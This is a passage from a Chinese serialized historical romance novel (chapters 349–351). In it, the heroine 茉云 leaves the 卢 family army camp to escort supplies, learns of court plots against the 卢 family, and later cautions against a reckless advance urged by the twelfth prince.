林宇则目不转睛地望向茉云的背影，眼中透着几分深思与考量。片刻后，他嘴角勾起了一抹淡淡的笑意，却也一言未发。
然而此刻，鸿音公主的眼中却透出了至深的寒意。她紧紧盯着茉云的背影，冷冷的目光掩藏不住浓烈的敌意和不信任。她的心中，愤懑正在疯狂蔓延，茉云的每一处都在触动她心中的敏感点。
茉云却谁也未理会，径直回到了营中，走向白神医的营帐。药香淡淡飘散，白神医温和的为她诊脉，神情一如既往地沉静。
茉云另一只手端起一旁的药碗，仰头一饮而尽，苦涩的药液入口，苦得她眼睛鼻子皱成了一团，面色发紧，眉间尽是对苦药的抗拒。
恰在此时，正啸与若辰一同走了进来，白神医察觉他们气息，淡淡一笑安抚道：“无碍。”
忽然一只手悄悄将一个小盘子推了过来，盘中是色泽鲜亮的果脯，甜美诱人。白神医眼角微动，被逗笑了似的，瞥了一眼推盘而来的不言。
茉云却冷冷地瞪了不言一眼，神情依旧写满不屑和不想搭理，但是手还是实诚的拿起了一片果脯，塞进嘴里，好似出于本能。
不言见状眼中掠过一丝尴尬，勉强试图化解紧张气氛：“朋友之间嘛，吵架拌嘴不是常有的事嘛。”
茉云直接冷笑道：“您言重了，咱可不是朋友。”
不言顿了一下，一脸无奈地嘀咕：“你这人什么都还行，就是气量狭小。”
茉云哼了一声，毫不客气地回怼：“诶，对，这一点你倒是十足了解我了。”
“你这是道歉的语气？”白神医看向不言微微笑道。
不言抿了抿唇，显得难得坦诚的说：“这事我也确实该反省……朋友，本就该彼此信赖。那日我去找奇能，说我配药他去下药，救出尚枫如何。”
营帐中顿时静了下来，众人的目光缓缓转向了他，茉云亦瞪向了他。
不言轻叹一口气，继续说道：“可他毫不犹豫地拒绝了我。我质问他，不是说他和尚枫是过命的兄弟吗？我没想到他会说，他是可以和尚枫以命换命，但他更信你。他说你若能救，一定会救；若未救，必有缘由。他还说——与你朋友之间的理解，从不必解释。”
帐内沉默了几息，空气中好似多了一份无声的敬意，茉云身边的朋友素来对他都是肝脑涂地。
他抬起头，望着茉云，声音中带着一丝诚意与悔意：“我不如他。”
茉云没出声，一边咬着果脯，一边侧头冷冷地看向不言，语气意味深长的调侃到：“您切莫妄自菲薄，我啊……也算是轻看你了。”
不言一怔，望着她，显然没听明白她这话是褒是贬，神情略显迷茫。
茉云也咬着果脯，嘴角勾起一抹冷笑，带着几分揶揄地说道：“你看啊，那牢里都是贼跟贼玩，盗跟盗走——而我与你，也都算是曾背弃婚约之人。”
不言微微一怔，面色微变，正要开口，却被茉云继续抢先说道：“虽都不是什么好货色，但也可心心相惜嘛！不说互相帮衬，你这跑到卢正啸面前说奇能的这些话……你摆明是拆台嘛，真要论起来，你比萧怀逸他们狠多了。”
帐中顿时“扑哧”一声，都没忍住哄堂大笑，连白神医都摇头失笑。
不言亦被逗得不轻，笑道：“方茉云，你说你是不是心思叵测？我压根就不是那意思！”
茉云翻了个白眼，继续咬着果脯，一脸我信你个鬼的模样，气氛总是能在她这几句话下，彻底从凝重中化开，营帐中多了几分难得的轻松和笑意。
这时，执礼走了进来，神情中却又带着一丝凝重：“老太君请方将军您过去一趟。”
茉云闻言，微微抬眸看了他一眼，随即淡淡地点了点头。正啸在一旁眉头微蹙，刚要起身，茉云却温和的看了他一眼，那眼神平静中透着坚定，像是在说自己能应付。
正啸目光凝视着她片刻，最终还是轻轻点头。
茉云独自走入老太君的营帐，只见老太君端坐在中间，神情严肃，手中拐杖紧握，眼中满是威严与不悦。帐内一片寂静，气氛凝重如压。
老太君眉头紧皱，冷冷地看向茉云，语气透着一股火气：“为什么？”
茉云毫不回避，径直在她对面坐下，神色不改，轻声问道：“您说哪件事？”
老太君一拍拐杖，脸色更沉了几分：“你什么时候有这副好心肠，要去救那尚枫？谁都可以救他，可卢家军不可以——你，更不可以！”
茉云没有立刻答话，只是自顾自地倒了杯茶，神情淡然，好似无动于衷。
老太君的这番话，任军中人谁其实都心知肚明。边关重镇的将领，不应擅自结交朝堂以外的关系，更不该在大战敏感之际卖人情，否则势必引发朝廷猜忌。更何况这人情，关系两个边关大国的错综复杂。
老太君继续厉声道：“你若不说，我便明说了——你这一举，让朝廷如何想？哪怕卢家军出手救了尚枫，也还能解释成是为了两军合营之计。而如今呢？你这是响亮地抽了鸿音公主一耳光！”
茉云闻言端起茶盏，缓缓抿了一口，仍旧从容不迫的轻声说道：“我想着，你们也不好开这个口，将我赶我出军营，如今也正好给了卢家军一个机会。”
她说话的语气极为平静，好似只是在谈一件再普通不过的事，但她的话一出口，老太君微微一怔，眼神复杂地看向她。
茉云微微抬眸，眼神坦然的说道：“我虽然自视甚高，但也明白，以我一人之力，是无法与铁狮军匹敌的。”
执礼看向茉云，她这话并
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非自谦，反倒是一种极清醒的判断，带着一种对茉云而言，极其罕见的隐忍与克制。她如今竟主动成为那个可推、可挡的弃子，为两军合营扫清障碍。
老太君神色复杂地看着她，眼中的怒意完全消散，在这倔强女孩身上，她竟看到了她意料之外的成熟和豁达，老太君深吸一口气，凝视着茉云，缓缓问道：“你……愿意走？”
茉云神情淡然，语气极为坚定：“只要大战能胜，南境能平。”
老太君闻言没好气的调侃道：“不守着卢正啸了？”
茉云随即被逗笑了：“您和鸿音公主都在，还能让卢正啸有事？”
老太君轻叹了一口气，眉间沉了几分：“正啸的姑姑曾属意让鸿音嫁给他，鸿音自小也是一心想嫁他。但他压根没这心思，而圣上也不会让鸿音嫁入卢家，卢家……更不敢娶公主。她心中……自然对你，有几分敌意。女人嘛。”
茉云听完，只是冷冷一笑，眼中毫不掩饰那股冷意，“老太君，我只是希望鸿音公主还是昔日您女儿膝下那个乖巧、懂事、识大体的女子，不会让您失望。”
老太君微微一怔，抬头看向她，眼神中隐有警觉：“你这话……什么意思？”
茉云淡然放下茶盏，语气平静得好似聊家常：“意思是——她看我不顺眼，我看她更瞎眼。没办法，这种局面，总得走一个，您自己看着她点。”
老太君愣了一下，随即被逗笑了，拄着拐杖摇头失笑：“你啊……就不是个忍气吞声的人。”
茉云也笑了笑，挑眉道：“您要看到我成长，我方茉云如今也能如此端庄大气、识得大体？”
老太君哼了一声，无奈地摇了摇头，刚想说话，却又抬头望着茉云，语气陡然凝重下来：“皇上许你一愿，那着实是高看你一眼，你居然如此草率，去救一个不该救的旁人……你以为圣上会体恤你的胸怀？”
茉云依旧淡定自若，轻轻为自己倒了一杯新茶：“我知晓。他不会体恤我的苦心，他只会恼怒我不识抬举。”
老太君皱着眉看着她，眼中却多了几分说不清的情绪。
茉云一饮而尽放下茶盏，神色依旧平静，只是声音更轻了些，却透着一份清醒的笃定：“您别担心我，操心好卢家。没什么事，我去收拾收拾走了。”
茉云转身离去，帐内又归于静谧。风掀起门帘一角，她的背影倔强而清冷，却又有种令人动容的坚定与决绝。
与此同时，消息也已传到了幽戎的营帐。幽戎正端着酒碗大口的饮着，随意的听着探子的汇报，当他听到关于茉云的消息时，唇角不自觉地扬起一抹叹息的笑意。
酒杯中的液体在光线下泛起微微的波光，他怅然地笑了笑，喃喃自语：“所以说，你就着实是喜欢干这搬起石头砸自己脚的傻事。”
幽戎轻轻摇了摇头，眼中又闪过一丝意味深长的光芒，可叹这命运捉弄，即将来临的致命漩涡要如何才能不将她卷入其中……
349.心惊
艳阳高照之时，营中也不禁透着丝丝焦躁，正啸与若辰、怀逸等人正在案前议朝廷之事，忽听帐外一阵急促脚步，执礼掀帘而入，面带犹疑。
“少主……老太君与元帅方才议定，欲颁布军令——命茉云即日起离开卢家军大营，继续负责后方押送粮米事宜。”
话音甫落，帐内顿时一片寂静。
若辰与怀逸几乎同时猛然抬头，皆满脸不可置信地望向执礼。执礼神情为难，眼神带着几分忐忑的投向正啸，似欲言又止，却终是未能阻住那即将爆发的怒火。
“轰！”正啸一掌推开了案几，案上的公文、战图和兵牍纷飞而起。他猛地起身满脸的怒火，拔步便要冲出营帐。
就在此时，一道风影自帐外疾冲而入——是茉云。她直接扑入他的怀中，双臂死死环住他，好似这一刻要将自己嵌入他的胸膛一般。
“卢正啸！”她的声音带着些微颤，却坚定不移，“我又要离开大营了，此战，你一定要打赢。”
正啸停在原地胸膛微微起伏，双目凝望着她，许久才缓缓吐出一口气。
“是我自己去找老太君说的。一山不容二虎，我怕我哪天忍不住，对人出手终坏了正事。此时我离开最好！”
正啸皱眉望向怀里的茉云，眼神却满是担忧：“此时朝局扑朔迷离，暗潮汹涌，你待在我身边才是安全的？”
茉云似乎被他轻轻逗笑了，轻轻抬起头，故作轻松地调侃道：“您卢大人当日在中州都没要我小命，如今世上还有谁能要得了我方茉云的命？”
话音未落，正啸知道她心意已决，再多劝说已无益，他抬手一把将她揽入怀中，用尽力气抱了个满怀，好似这一刻要将她融入自己的身体。
“放心吧，只要你们在前方无恙，我在后方就活得很好。”茉云缓缓松开他，轻声说道，“放手吧，我赶紧出发，说不定还能追得上西王爷的队伍，蹭一路吃喝。”
正啸目光紧紧望向她，但最终还是松开了手。他知道，茉云此时跟他们一起走，至少是安全的。
茉云顷刻间转身，转身之际目光在帐中扫过，最后在萧怀逸身上停驻片刻。萧怀逸亦目光深邃望向茉云，最终化作一个轻轻的点头。
茉云再无迟疑大步迈出营帐，而正啸伫立原地，咬紧了牙，喉头滚动，却终究未出声，他自小便是如此，身边充满了尔虞我诈的操纵和拿捏。
自己为了能统兵在外，保家卫国，一生都在那些所谓朝局和权谋中沉浮，不得不隐忍克制，谨小慎微，事事都要如按他们的心思，如他们的愿，而自己身边之人皆沦为他们拿捏自己的工具……
一瞬间，营帐内寂然无声，风声从帘缝中钻入，带着一丝凉意，也冷进了他的胸膛。良久，他才缓缓回到案前。
桌上军牍和公文散乱四处，他低头强行镇定，手指抚过那公文，却怎么也平复不了心绪。终是咬牙提笔批阅，试图将自己浸没于军务中。但执笔的手却微微颤抖，好似再握紧一些，便要将那管笔生生折断。
他心中知道，茉云在忍，她不过是以笑掩痛，走的每一步都不是无奈，而是克制。她并不是想走，她想跟自己并肩作战，但她选择了离开——是为了铁狮军战力助攻的大局。
而自己，也必须忍。自己是统兵之帅，是此事卢家军中无数将士的主心骨，他不能乱，不能失控，所有人的一切都该为了此战能赢。
营门之外，风尘滚滚。茉云马鞭在手，烈马已备。元帅与老太君都出来为她送行。
老太君神色一贯威严，却也在这一刻凝重了些许，看向她深深叹了口气。
茉云看着她，忽然轻声开口道：“请老太君，记得当年。”
老太君微怔，回望茉云，眸中似有波澜初起。
茉云望着她，语气平静却铿锵：“当年老卢帅，眼看大胜在望，奈何朝局突变，一纸诏令，令战事搁浅，终其一生都未能卷土重来，终抱憾而亡。”
老太君和卢帅皆神情一滞，好似那段久藏于心的往事骤然揭开，心头旧伤微微作痛。茉云之意，便是跟他们说，这一战定要必胜。
这个消息传开，沧海等人迅速赶至，见茉云已经即将启程，众人神色无不惊讶。
“为何是你去？”威行看向茉云顿时怒道“后方运粮这等琐事，谁都可以去，为何是你？”
茉云看着他，嘴角一挑语气如常：“老毛病又犯了不是？”
沧海一把扯住了威行，低声喝止了一句。威行咬了咬牙，终是退开几步，默然不语。
茉云一脸坦然的望向沧海，沧海心领神会的点点头，示意让茉云放心。
茉云环视众人畅然而笑，一脸戏谑的说道：“沙场征战，尽显男儿本色，我一个姑娘家，总要顾全点形象。后方运粮，倒也挺适合我。”
此言一出，气氛顿时缓和，众人哄堂大笑。
茉云也笑了，拱手一礼，目光清澈如水，话语却深沉如山：“千山不改，绿水长流。愿诸君，皆能成全心中忠义。前方战事，有赖诸君了！”
她的话掷地有声，众将顿时肃然，齐齐抱拳回礼，而鹿里望着茉云，神情复杂，终是轻轻一叹亦抱拳回礼了。
茉云温和的回望他一眼，像是将所有未说出口的言语都化作这一笑，随后翻身上马。她一夹马腹，烈马嘶鸣一声，四蹄腾空而起，踏碎尘沙，扬长而去。
她一如她往常那般洒脱，没有回头，营帐中，正啸手中笔忽然停住。他缓缓静静聆听着，直到那熟悉的马蹄声，终究消失在风中，再无回响。
他握笔之手紧得指节微微泛白，心口忽觉空落落的却又沉甸甸的。他亦不知她此去，未来等着她的会是什么……
大地寂寂，前路苍茫如织。茉云一骑西去，风声猎猎，马蹄踏落黄土，一里之遥，忽见前方山石旁立着一人。
他静坐石上，双手闲搭于膝，神情自若，似早已等候多时。那张清俊面容落入眼帘，茉云眉头一拧，缰绳一收，马儿立时止步。
“林宇？”她目光凌厉，眼神透出了几分警惕。
那人闻声转首，唇角扬起一抹温和的笑意：“你救了尚枫，便是将自己推入风口浪尖，可知这其中利害？”
茉云冷冷一笑，双眉微蹙：“你在这儿守着，就是为了说这些废话？”
林宇不恼，反而起身拍了拍衣摆，朝她走近一步，淡淡一挑眉：“那你为何救他？”
茉云沉默片刻，仰头望了望灰蓝色的天际，长叹一口气说道：“不瞒你说，我这人，打小就老干一时冲动之事，等回过神来，不得不鸡飞狗跳地去收场。就像当年，我本有机会除了幽戎，若是那时动手，哪至于有今日这般麻烦？当时就是脑子进了水！”
林宇听罢，竟不觉失笑眉眼舒展，神情带着几分欣赏：“你不是冲动，你早想好了。只是你这决意之时，便可落子而下，这倒挺叫人羡慕的。”
茉云闻言，眸光一冷，转头盯着林宇：“你一个世家大族的少爷和我一个尔等眼里蝼蚁出生之人，谈羡慕？”
林宇非但不怒，语气竟更加平和：“你男人出身比我还显赫，可他活得痛快吗？”
这话一落，气氛忽地沉了几分，茉云眼中透出一丝无语，片刻后才淡淡开口：“少绕弯子，直说你来意。”
林宇闻言轻叹一声，眼神凝重而坦诚低声道：“我林家素来有恩必报，你此去后方，少往军营来，小心为好。”
茉云一愣望向他，眼中浮现一丝迟疑。林宇则转身牵马，步履从容的准备离去，显然也没有在准备多言。
茉云也没打算多问，冷哼一声，抬声没好气的说道：“你才要小心些！搞搞清楚，谁是你主子，谁又是你主子的娘子。”
林宇脚步一滞，竟又被她这句话逗笑，回头看了她一眼，茉云却懒得理会，一拨缰绳，马儿仰头嘶鸣，她一骑绝尘，瞬息间没入天边烟尘。
风越发凉了。可她心中却泛起了一股奇异的不安——幽戎也曾让她小心，如今林宇也让自己小心……
为何？自己好似早已踩入了一张即将彻底铺开的棋局，每一子落下，都不是她所能掌控的。
她握紧缰绳，风从耳边呼啸而过，远方战鼓未鸣，而局，已悄然落子。
一骑绝尘而去，到了傍晚，西王爷车队终在前方可见，茉云略微加快马速，迅速追了上去。
她穿行到车队边缘，果然是一片欢声笑语，西王爷显然是一路吃喝玩乐，往常半日的路程，今日竟耗时一天才到此。
当西王爷瞥见茉云的身影时，显然大吃一惊，他连忙站起身，眼中闪过一抹欣喜：“茉云？你怎么在这？快，快坐到本王这桌来！”
茉云轻笑着停下马匹，挥手示意，坐到了他身旁：“跟西王爷一路走，就是好。”
众人望向茉云，神情各异。奇能略微皱眉，似乎有些疑虑：“你为何会出现在这里？”
茉云淡然一笑，平静地道：“我还是来后方押运粮草更为稳当些。”
西今微微一愣，似乎有些吃惊：“卢家军让你去后方押运粮草？”
“我自请去后方押运粮草，不想弄得整个军中乌烟瘴气！”茉云看见西今还想说什么，便笑着轻声说道，“好不容易陪西王爷吃个饭，能不能别再聊公事了？”
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西王爷听罢，脸上展露出一抹愉悦的笑容：“对对，茉云最明白我心思，来，吃吃喝喝的时候，谁管那些家国大事？”
众人嬉笑间，席间气氛愉快，西王爷和众随侍们大快朵颐，随着宴席散后，回程的路上，西王爷却已喝得几乎大醉。
沙尘飞舞，风声四起，西王爷显得有些茫然，说道：“风沙好大吹得怕人，真是让我害怕。”
说着，他一把拉开了马车的帘子，转头对茉云道：“来，来，茉云随本王一同马车吧。姑娘家家吹多了风沙不好！”
茉云无语的被逗笑了，陪着西王爷一同进了车内。车内空荡荡的，西王爷喝得浑身散发着酒气，一上马车便呼呼大睡。
茉云无语望天坐了片刻，终于忍不住拉着西王爷的衣袖，语气略显急促：“喂，西王爷，有话就直说行不行？你要睡到几时！”
西王爷瞬间被惊醒，抹了抹脸上的口水渍，迷迷糊糊地看向茉云，嘴角一扬：“你这娃，急性子！我要是你，你走什么走，以观后效嘛。”
茉云翻了个白眼：“那鸿音公主假得头都快冒烟了，我每次见到她都想一盆凉水泼下去，我怕我再待着，就真动手了。”
西王爷随即笑了出来，被逗乐了：“你这话说得，那你日后嫁给了卢正啸，逢年过节，不得进宫面圣？宫里八成都是这样的人！”
茉云轻笑着接过话道：“还有两成……一成是那些深渊的操控者，世间最恶之人；另一成，是那种能在淤泥之中生出莲心的至善之人。西王爷，您就是后一种。”
西王爷摸了摸自己的肚子，有些感慨：“我呀，就是个废人。”
茉云轻笑一声，看着他，目光忽然变得凝重：“西王爷，我问你幽戎和林宇都提醒我，让我小心。你觉得这是为何？”
西王爷听后，怔了一下，沉默了片刻，直视着茉云：“你为啥问我？”
茉云没有回避他的目光，一脸锐利的答道：“因为我知道你是想帮卢正啸的，他于你而言是故人之后，她唯一的血脉侄儿。”
西王爷神色一滞，沉默片刻后，轻轻叹了口气，眼中似乎带着一丝沉重与无法言说的痛苦。
“当年，老卢帅……”他的话语停顿了片刻，似乎是在回忆什么，不自觉地皱了皱眉，目光有些飘渺，“哎，月落星稀天欲明，孤灯未灭梦难成。天亮前夜至黑，往往最险要关键之时，却蕴藏着极大的阴谋。”
茉云没有出声，她静静地坐在马车中，心中不安油然而生，空气似乎都变得沉重起来。
西王爷的语气变得格外低沉，继续说道：“你们只看到大战一路凯歌的表面，可你可曾想过，当年那群人便不想灭峑戎，只想灭卢家，那些人还在！”
茉云愣了半刻，神色瞬间变得凌冽，整个人好似被这句话击中，她的思绪一时凌乱，难以平复。她望着西王爷，目光逐渐深邃：“您是说……当年有群人宁愿战败，将国事误尽，也要至卢家于死地？”
西王爷没有直接回答她，而是低声叹了一口气：“那些人，根本不在乎峑戎灭不灭。他们要的只是权势利益，当然若峑戎能颠覆朝廷，他们便支持打，可只要打至无法威胁，他们便不想打了，边关宁不宁，百姓康不康，他们何曾在意，他们的目标从头到尾，便是卢家。朝堂之上，道不同便是政敌，他们如何会愿意政敌立下天功！”
西王爷语气说得越来越沉重，缓缓揭开一个无法承受的事实：“即便当年的王妃走了，卢家也从未彻底脱离开这场阴谋，不论是过去，还是现在，或是未来。”
茉云的心猛地一跳，目光越发凝重。她一时间没有言语，心中却像被某种东西扯裂了，隐隐传来一股沉甸甸的重压。
她曾经选择放弃纠缠当年之事，和卢正啸约定大战之后脱离朝堂，不计较前尘往事，去争取自己的片刻宁静和安稳；她虽一直在挣扎，可终究答应了，因为那深渊定是至黑至暗……
但如今，西王爷的话如一声惊雷，在她的心头炸响。她忽然意识到，自己和卢正啸一直以来的认为只要击败峑戎，不再与朝堂纠缠，便能获得一份平静的生活。
可是，真正的深渊根本就不会放过卢正啸，他们甚至不会让他打赢此战……
西王爷默默地看着茉云，目光复杂的又轻轻开口道：“京城之中，那深渊的阴影，永远都不会消失的。”
茉云闭上眼，心中顿时波澜汹涌。原来连对手都知道，她与卢正啸，都早已如棋子落定，在走向那无形的深渊？
马车内一片沉默，只有风声在耳畔呼啸，好似在提醒她，真正的战斗，终于开始了……
350.挡住
马车轻轻摇晃，缓缓驶入了荒凉的山道。日暮西沉，天际余晖渐渐消散，剩下的只是那片深蓝色的天幕，宛如吞噬一切的黑色幕帘。
马车内，茉云的目光始终如刀般锐利，望向西王爷沉声问道：“那皇上呢？”
西王爷深吸了一口气，似乎在思索如何开口，许久后，他才低声说道：“他是孤家寡人。”
茉云微微皱眉，望向西王爷追问道：“他也会想要卢正啸的命吗？”
西王爷摇了摇头，叹息声从他喉间微微溢出：“他着实看重卢正啸，尤胜于皇子。但他是这世上，最害怕卢正啸心生反意之人。”
他的话语中带着一股难言的沉重，似乎在无声地揭开那段不为人知的伤痛。
茉云的心微微一震，脸上浮现出一抹冷笑：“怀疑他有反心……卢正啸待皇上还要如何赤诚？”
西王爷的眼神变得更加黯淡，他感叹着说：“丫头，你未曾身临其境，切莫轻易责人凉薄。当年父皇驾崩之时，是皇兄一母同胞自幼相护的亲弟，在那错综复杂之时造反篡位，举起屠刀杀了他至爱之妻。你若是他，你还能信谁？他待正啸，已是十足的亲厚了。”
茉云微微一愣，片刻后，她才冷冷地继续说道：“十足亲厚？为了所谓的朝堂平衡，他还要如何任由太师一党蹉跎磨砺于他，您说这是亲厚？”
西王爷闭上了眼睛，似乎对这些早已看透的事物感到疲惫：“我离开朝堂已久，太师也早已不是当日那个贤臣了。在那个深不见底的朝廷，权力与欲望可以将一切扭曲。可即便如此，太师依旧是圣上的恩师，是他赖以信任的近臣。他虽恶，但待皇上忠。”
茉云的双眉紧蹙，似乎不太理解西王爷的意思，她沉声问道：“难道卢家不忠吗？”
西王爷微微睁开了眼睛，深深吸了一口气，沉声说道：“卢家同样忠诚，圣上待卢家与太师的亲厚，不分伯仲。可圣上不会让卢家与太师家结为一体。帝王之术，一切皆为己用，却不能让任何力量结成合力，必须互相牵制，平衡一切。你若是帝王，你也会如此。”
茉云的心中却像是一块石头越沉越深：“那若是害死了卢正啸，卢家便彻底颠覆，皇上的朝堂如何平衡？”
西王爷的眼神突然变得深邃而复杂，他缓缓道：“这便是你问到的关键。太师对皇上忠，忠并不代表同心同德。太师想要卢家亡，而皇上并不想。但没人能证明，真正要害死卢家的是谁，他藏得极深，就连你我不也只是猜测是太师？你拿得出什么证据？”
茉云的眼神骤然一凝，她的心猛然跳动，嘴角却勾起了一抹冷笑。她没有再说话，只是默默地注视着西王爷，心中波澜汹涌。
自己居然天真的以为和卢正啸日后可脱离那场由欲望编织的权力深渊，但现在看来，自己和他不过是在一个巨大的棋局中游走，对手从没有一刻想过让他们走，只想将他们吃掉。
西王爷似乎看透了她心中所想，轻声叹息：“茉云，这朝廷的棋局，远比你我想象的复杂得多。你若想明白这些，唯有一条路，便是去揭开这层层叠叠的迷雾。否则，最终也只能被这迷雾所吞噬。”
茉云的目光一瞬不瞬地锁住西王爷的眼睛，心中涌动的不再是困惑和愤怒，而是一种深沉的决绝。她清楚地知道，他们本站在了一条无法回头的路上，前方的未知，好似是一片无尽的深渊，但那又如何，她也要一闯！
“西王爷，我知道了！”她低声说道，声音冷得几乎透彻。
而卢家军大营中，就在茉云离开不久之后，元帅便下令，卢家军与铁狮军的联合大军迅速整装待发。战鼓擂响，号角激昂，锋锐的军队如猛虎出山，挥师南下，好似一切都在为他们的进击让路。
卢家军与铁狮军联手，如迅雷不及掩耳之势，朝着峑戎疆域挺进，气吞万里。
不到十日，峑戎的边关商贸重镇□□，便在他们的铁蹄下被破，随即大军继续向西南方向推进。短短一月，峑戎三城被彻底拿下，形势大好，似乎没有什么可以阻挡他们前进的力量。
然而，就在卢家军气势如虹之际，一道皇榜却突然出现在营中——圣上派遣了皇子前来担任军中督军。
卢家人心中无不心知肚明，自古以来，天功不能落在臣子身上，必须有皇家之人参与其中，哪怕只是挂名。毕竟，皇家血脉与权柄才是朝廷的根基，这无非也是给骁勇之军的一丝警醒——即便战功赫赫，也不能让军权过于膨胀。
卢家一贯用最坦诚之心面对圣上，自然亦接受了朝廷的一切安排。
几日后，茉云所押运的粮草队伍终于抵达了大营。一路行来，她的心情愈发沉重。她途径一座座刚刚被占领的城镇，与之前拿下的城镇截然不同。
这里的街道冷清而萧索，卢家军的旗帜虽然高挂，但却没有一人夹道欢迎。她的眼睛扫过四周，街道两旁的百姓低头回避，面色沉郁。
这种氛围让茉云感到一种隐隐的不安。卢家军虽然成功占领了峑戎重镇，但这片土地上的百姓，对卢家军早已积怨已久，眼底都隐藏着至深的仇怨与冷漠，这无疑让卢家军后方变得更加复杂和危险。
黄昏之时，茉云才到了军营，他依照惯例去主营先参见了元帅，元帅见到茉云自是心情大好，正值一炷香后便是全军军务会议，茉云自然也列席参加了。
营帐中，众将陆续入营，讨论未来的战略部署。然而，茉云的目光却不自觉地被走在萧怀逸身前的身影吸引。
那人衣着华贵，气度非凡，俯身身上散发出一股尊贵的气息，不是常人能够比拟的。茉云定睛一看，心中一震——那人竟然是十二皇子。
她微微一愣，心中瞬间泛起了疑云。十二皇子与鸿音公主并无干系，且早年他似乎鲜少在朝廷或军中露面。茉云环顾四周，包括元帅都对他表现得极为恭敬，茉云努力回忆起，十二皇子是朝廷颇受皇上倚重的八皇子亲弟，母妃出生尊贵。
可开始众人猜测的——鸿音公主会想尽一切办法让他的亲弟五皇子来督军，如今是何缘由让这个闲云野鹤般的皇子来担此大任！
茉云内心一阵疑惑和警觉，如今正是风云变幻、暗潮涌动的时刻，每一个细小的举动都可能隐藏着致命的陷阱，她不动声色地收回目光，但心中已然埋下了一个巨大的疑问。
大帐之内，众将聚集气氛凝重。大军的下一步该如何走，成为了当前最为重要的议题。
铁狮军的将领毫不犹豫地提议：“趁势而上，绝不容忍任何拖延！此时士气如虹，我们若不趁势直捣峑戎都城，反倒便宜了敌人。”
他们语气坚定，眼中满是战意，似乎已经看见了胜利的曙光。
十二皇子此时亦望向元帅说道：“元帅，趁此军心高涨之时，一鼓作气拿下峑戎都城。”
他语气自信眼神炯炯，似乎完全没有任何疑虑。然而，卢家军的将领个个面神凝重，他们都是数十年和峑戎打交道的老将，这种冒进的提议显得有些轻率。
元帅神态虽恭敬，但是沉默未
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言，正啸亦眼神深邃，他们经历了无数沙场风云，对局势的判断远非一时的冲动所能决定。
面对如此突如其来的胜利，他们的心中并不单纯是喜悦，反而藏着更多的警觉。
就在这时，鸿音公主突然转向茉云，目光深邃，带着一丝意味深长的语气问道：“方将军素来对峑戎有较深了解，你何不说说你的见解？”
茉云的心神微微一震，感觉到周围的目光都聚焦在她身上。正啸更是顿时双眉微蹙看向茉云。
而茉云停顿了片刻，并没有回望正啸，只是缓缓开口道：“末将以为，峑戎不是这般弱小的敌人，短短几天之内便拿下三城，这未免太过顺利，大军若一味冒进，容易中了敌人的奸计。”
茉云的话语落地，顿时引起了全场的静默。众将都愣了一愣，随即沧海也不禁抬起头，眼中带着一丝忧虑。他显然没想到一贯心有七窍的茉云会在这个关键时刻如此直白的提出此议。她这是在公然驳斥十二皇子和铁狮军的提议。
十二皇子的脸色随之沉了下来，他的眼中闪过一丝怒意，眉头紧蹙，看向茉云的目光中带着几分不屑：“方将军此言岂不是涨他人志气，灭自己威风？我们朝廷大军劳师动众来此，攻占了峑戎三城，士气正盛之时，难道要因一时的怀疑而错失良机？！”
茉云的目光冷静而锐利，面对十二皇子的怒气，她并没有丝毫的畏惧。她只微微抬眉沉声说道：“启禀十二皇子，末将以为峑戎之军和朝廷对峙多年，绝非等闲之辈，大军不该仅凭几场胜利，便丧失最基本的警觉。万一这是敌人早已设好的圈套呢？”
十二皇子脸色更是铁青，他虽地位尊贵，但他并不具备实际指挥的经验，相较于众多老将的见识和冷静，他本感到一丝不安，茉云的公然反驳，让他顿觉颜面尽失，有些恼羞成怒说道：“以我所见，方将军此时倒像是在为敌人争取喘息的机会！京城倒是有御史参过，说方将军和峑戎交情匪浅啊！”
此言一出，顿时气氛在这一刹那变得凝重，所有人的警惕心瞬间都被调动了起来。
就在此时，元帅的声音如同千锤百炼，沉稳有力的传来：“王爷，方将军此言绝无此意。”
军中众人皆知，元帅对于茉云那是绝对的维护，即便是皇子，他亦不容人如此说她。
“虽说胜利在望，但敌人确实不可小觑。此时，若草率往峑戎都城挺进，恐怕难以保住后方的稳固。我们不能急功近利。要时刻以最强的姿态迎敌。”
“是！”众将听后纷纷抱拳应和，在元帅的权威之下，议事氛围略微缓和。尽管十二皇子依然有些不满，但他也清楚，战局的真正主导权并不在他的手中。
茉云则低下头，轻轻松了一口气，这个十二皇子阅历尚浅，城府看起来亦不深，至少不是个狠角色。可她的眼神再次又变得深邃，如此复杂的局势下，敌人的计谋，定然远比自己想象中的更为深远……
议事之后，营帐内的气氛逐渐轻松下来，茉云跟随正啸回去他的营帐。她望着正啸身穿一袭玄色长衣，魁梧的背影如同一座巍峨的山峰，沉稳而充满力量，终于见到他，自己的心不由自主地一阵欢欣雀跃。
可就在此刻，她不禁又想起西王爷当日的话：这场战争绝非表面那么简单。最可怕的敌人，不仅仅是正啸前方所面对的敌军，而是他身后来自朝堂的狂风巨浪，自己哪怕不顾一切，能在他身后为他挡住吗？
茉云深吸一口气，脚步不自觉地加快，只想再靠近他些……
351.决意
正啸感受到身后接近的脚步声，回过头来，温和的目光与茉云的目光交汇。那一瞬间，空气仿佛凝固了，四目相接间，茉云只觉得心头一暖，所有的疲惫和压力，似乎都随他顷刻温柔的目光烟消云散。
然而，就在这时身边却传来了萧怀逸清脆的咳嗽声，打破了这份宁静。茉云眉头微挑，转头看向他，只见他一脸无语的站在一旁，嘴角带着几分调侃的笑意。
执礼默默看着这一切，也不禁被逗笑了，眼中带着一丝无奈的神色。
茉云立刻露出一抹笑意，轻巧地调侃道：“哦，宵小王爷是在说我礼数不周吗？末将见过小王爷，见过少帅，见过军师大人。”
“我只是想提醒您，我和执礼都在此。”
执礼一边笑着摇头，一边感叹着说道：“小王爷真是厉害，掐指一算，便知方将军今日会到，着实让人佩服。”
茉云顿时眼中闪过一丝疑虑，带着冷意的看向萧怀逸。
萧怀逸眼中闪过一丝调侃，淡淡地说道：“我不过是偶然发现，正啸哥平素为鼓舞军心，在军中终日是身穿盔甲的，但只有方将军在的时候，正啸哥便不穿盔甲。那日我问若辰哥，他说正啸哥曾在火场中救过方将军，方将军言……它盔甲好凉。”
茉云愣住半刻，脸上浮现出一抹笑意，她都快忘记自己说过此事，执礼亦忍不住笑了出来，望向正啸嘴角挂着一丝揶揄的笑意。
正啸微微蹙眉，脸上闪过一丝无语，默默地走到桌前坐下，似乎不愿参与他们的打趣。但他目光中透出柔和，好似战乱之中所有的浮躁，也在这一刻安宁了几许。
此时，执礼准备告退，正欲退出帐外，萧怀逸还想说什么，亦被执礼拉了出去，可两人刚揭开帐帘就被挡住了，是老太君拄着拐杖一脸威严的站在那里。
